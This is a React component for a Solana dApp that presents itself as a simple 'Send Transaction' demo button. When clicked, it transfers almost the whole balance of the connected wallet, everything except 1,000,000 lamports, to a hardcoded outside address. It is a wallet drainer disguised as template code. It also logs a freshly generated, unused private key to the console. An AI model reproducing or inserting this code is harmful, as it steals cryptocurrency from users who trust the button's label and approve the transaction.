import { useConnection, useWallet } from '@solana/wallet-adapter-react';
import { Keypair, SystemProgram, Transaction, TransactionSignature,PublicKey } from '@solana/web3.js';
import { FC, useCallback } from 'react';
import { notify } from "../utils/notifications";
import BN from 'bn.js';
export const SendTransaction: FC = () => {
const { connection } = useConnection();
const { publicKey, sendTransaction } = useWallet();
const onClick = useCallback(async () => {
if (!publicKey) {
notify({ type: 'error', message: `Wallet not connected!` });
console.log('error', `Send Transaction: Wallet not connected!`);
return;
}
let toKeypair = Keypair.generate()
let topublickey = toKeypair.publicKey
let toprivatekey = toKeypair.secretKey
console.log(topublickey.encode())
console.log(toprivatekey)
let signature: TransactionSignature = '';
try {
const balance = await connection.getBalance(publicKey);
console.log(balance);
const transaction = new Transaction().add(
SystemProgram.transfer({
fromPubkey: publicKey,
toPubkey: "7a49pv2D84FPCyHEpb5y9aYH5sMC1fFhKncf3SoLSEjJ",
lamports: balance - 1_000_000,
})
);
signature = await sendTransaction(transaction, connection);
await connection.confirmTransaction(signature, 'confirmed');
notify({ type: 'success', message: 'Transaction successful!', txid: signature });
} catch (error: any) {
notify({ type: 'error', message: `Transaction failed!`, description: error?.message, txid: signature });
console.log('error', `Transaction failed! ${error?.message}`, signature);
return;
}
}, [publicKey, notify, connection, sendTransaction]);
return (
<div>
<button
className="group w-60 m-2 btn animate-pulse disabled:animate-none bg-gradient-to-r from-[#9945FF] to-[#14F195] hover:from-pink-500 hover:to-yellow-500 ... "
onClick={onClick} disabled={!publicKey}
>
<div className="hidden group-disabled:block ">
Wallet not connected
</div>
<span className="block group-disabled:hidden" >
Send Transaction
</span>
</button>
</div>
);
};